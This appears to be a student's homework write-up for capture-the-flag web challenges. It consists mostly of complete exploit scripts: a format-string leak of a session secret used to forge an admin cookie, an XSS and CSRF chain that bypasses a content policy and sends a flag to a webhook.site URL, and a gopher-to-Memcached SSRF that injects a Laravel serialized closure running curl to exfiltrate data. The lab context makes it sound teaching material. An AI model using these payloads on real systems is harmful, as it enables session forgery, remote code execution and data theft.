

HW3 Write-up

ID: 314553028

Account: oscarabcdefg

Flag Vault - FLAG1

Flag: `flag{w417_h0w_d1d_y0u_637_7h3_fl46_b3f0r3_1_1mpl3m3n73d_7h15_f347ur3}`

Solution

1. under `utils.py` I found:

```
def get_flashed_message(request: Request) -> str:
    """Get and remove flash message from session. Returns message as
    HTML."""
    message = request.session.pop("flash_message", "")
    flash_type = request.session.pop("flash_type", "info")
    if not message:
        return ""
    msg = (
        f"<div class='flash-message flash-{escape(flash_type)}'>
{escape(message)}</div>"
    )
    try:
        # Try to format the message with the `request` for convenience
        # TODO: Someone said it's unsafe? Investigate further
        msg = msg.format(request=request)
    except Exception:
        pass
    return msg
```

2. The Request object can be leaked and the secret key can be retrieved. Modify the cookie locally to set `is_admin = true`. `exploit1.py`:

```
import requests
import json
import random
import string
import re
from itsdangerous import TimestampSigner
from base64 import b64encode, b64decode
x = ''.join(random.choices(string.ascii_letters, k=8))
user_stti = x + r'{request.scope[app].user_middleware[1]}' + x
pwd = "12345678"
#url = "http://127.0.0.1:11202"
url = "http://10.113.0.1:11202"
requests.post(url + '/register', data={
    'username': user_stti, 'password': pwd})
```

```

sess=requests.Session()
res=sess.post(url+'/login',data={'username':user_stti,'password':pwd})
pat=x+r".*\\(SessionMiddleware, secret_key='([0-9a-f]{64})'\\)" +x
m=re.search(pat,res.text)
key=m[1]
print('key:',key)

signer=TimestampSigner(key)

cookie=sess.cookies['session']

payload=signer.unsign(cookie)
p=b64decode(payload)
p=json.loads(p)
p['is_admin']=True

print(p)

fake=b64encode(json.dumps(p).encode())

fake=signer.sign(fake).decode()
print(fake)
sess.cookies.set('session',fake)
r=sess.get(url+'/admin')
print(r.text)

```

Flag Vault - FLAG2

Flag: `flag{x55_w17h_c5rf_4fbdcad8}`

Solution

1. The same format string vulnerability can be used to inject XSS. Scripts are allowed only from the same origin or <https://www.google.com/recaptcha/>.
2. Registered a malicious username:

```

{request.scope}
<script/src=https://www.google.com/recaptcha/about/js/main.min.js>
</script><img/src=x ng-on-
error=$event.target.ownerDocument.defaultView.eval($event.target.owner
Document.defaultView.name)>

```

3. There is no protection against CSRF. Send the malicious website to the bot to trick it into logging in as the malicious user.
4. Open a named window beforehand to preserve the target account's data. When the bot logs in as the malicious user, the scripts can read the flag.

```

<!DOCTYPE html>
<html>
<body>
<script>
function delay(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
(async function() {
var url='http://web:11202/flag';
w=window.open(url, 'target');
await delay(2000);

window.name="w=window.open('', 'target');content=w.document.body.querySelector('code').innerText;console.log(content);location.href=`https://webhook.site/9e227a62-bcd6-46a2-8484-0630ac7a1f60/capture?data=${encodeURIComponent(content)}`;";
    document.forms[0].submit();
})();

</script>
<form method="POST" action="http://web:11202/login">
    <input type="hidden" name="username" value="{request.scope}"
<script/src=https://www.google.com/recaptcha/about/js/main.min.js>
</script><img/src=x ng-on-
error=$event.target.ownerDocument.defaultView.eval($event.target.ownerDocument.defaultView.name)>">
    <input type="hidden" name="password" value="12345678">
</form>

</body>
</html>

```

Private Wayback Machine

Flag:flag{n3w_p0p_ch41n_f7w}

Solution:

1. The cache key can be calculated from the session ID and URL.
2. Modify the cache in Memcached via the Gopher protocol.

```

cachekey=sha256(f"{url}|{sessid}".encode()).hexdigest()
cmd=f'_set%20{cachekey}%20{flag}%20{expire}%20{sz}%0a{quote(payload)}'
p='gopher://memcached:11211/'+(cmd)

```

3. laravel/serializable-closure uses a custom protocol to turn text into code:

```

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        $this->content = "<?php\nreturn ".substr($path,
strlen(static::STREAM_PROTO.'://')).';';
        $this->length = strlen($this->content);

        return true;
    }

```

4. The serialized closure looks like:

```

0:46:"Laravel\SerializableClosure\Serializers\Native":5:
{s:3:"use";a:0:{s:8:"function";s:12:"function()
{}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"00000000000000004000000
0000000000";}

```

5. Change the `function` field to arbitrary code.

6. Run run curl to exfiltrate data

7. exploit.py:

```

import requests
from hashlib import sha256
from urllib.parse import quote,unquote,unquote_plus
flag=4
expire=0
url='http://example.com'
base='http://localhost:11201/'
base='http://10.113.0.1:11201'
s=requests.Session()
r=s.post(base+'/pages',data={'url':url})
sessid=s.cookies.get('PHPSESSID')
cachekey=sha256(f"{url}|{sessid}".encode()).hexdigest()
print(f"sessid:{sessid}")
print(f'cachekey:{cachekey}')

payload=r'''0:46:"Laravel\SerializableClosure\Serializers\Native":5:
{s:3:"use";a:0:{s:8:"function";s:138:"eval("exec(\"curl -d
data=`/readflag give me the flag` https://webhook.site/b2234ffb-4639-
44dc-82e0-4ba437c07e1a\");return function()
{};")";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"00000000000000002000
00000000000";}'''

print(payload)
sz=len(payload)
print(f"{sz}")
print(quote(payload))
cmd=f'_set%20{cachekey}%20{flag}%20{expire}%20{sz}%0a{quote(payload)}'

p='gopher://memcached:11211/'+(cmd)
print(len(p))

```

```
r=s.post(base+'/pages',data={'url':(p)})  
print(r.text)  
r=s.post(base+'/pages',data={'url':url})  
print(r.text)
```

```
r=s.post(base+'/pages',data=  
{'url':'gopher://memcached:11211/_get%20'+cachekey+'%0aquit'})  
print(r.text)
```